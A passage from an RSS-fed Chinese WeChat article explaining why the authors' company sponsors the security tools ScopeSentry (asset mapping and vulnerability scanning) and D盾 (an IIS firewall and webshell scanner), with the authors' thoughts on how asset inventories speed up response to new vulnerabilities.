Sentry是一款具有分布式资产测绘、子域名枚举、信息泄露检测、漏洞扫描、目录扫描、子域名接管、爬虫、页面监控功能的工具，通过构建多个节点，自由选择节点运行扫描任务。当出现新漏洞时可以快速排查关注资产是否存在相关组件。</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><a href="https://github.com/Autumn-27/ScopeSentry" target="_blank">https://github.com/Autumn-27/ScopeSentry</a></p></blockquote><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">赞赏理由:</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">关注公众号的朋友们投票推荐该工具</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">有一些朋友正在使用这个系统，反馈很好</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">项目提出的理念我们非常喜欢，目前的漏洞战争，除了 0day 以外，我觉得主要就体现在三个方面</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">情报</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">时间</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">exp 质量</section></li></ul><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">很多时候，一个较为通用的漏洞出现后，这么多企业会不会被攻击，就取决于以上三点，而企业比较容易做的是第二点，通过资产测绘，建立完整有效的台账，能够让获取情报 -&gt; 规避风险 期间耗费的时间降到最低</p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x08 D盾 - 额外赞赏</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情 况下，越少的功能，服务器越安全的理念而设计！限制了常见的入侵方法，让服务器更安全!</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><a href="https://www.d99net.net/" target="_blank">https://www.d99net.net/</a></p></blockquote><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">赞赏理由:</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">D 盾这部分属于我们公司出资额外赞赏，因为它不是开源的，但应该有很多师傅都经历过绕 D 盾防护、使用 D 盾进行 Webshell 查杀、对网站进行临时防护等</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">D 盾给了很多中小企业一个默认的简单快捷的安全防护选择，同时应对常规攻击，效果不错，而且暂时未见到开发者设置必须注册、登录才能使用的商业推广性限制</p></blockquote></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247502667">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=80ee0f67&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502667%26idx%3D1%26sn%3D9e980805fcf6f1fa7a39ce857c57159a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 19 Jan 2025 19:42:00 +0800</pubDate>
    </item>
  </channel>
</rss>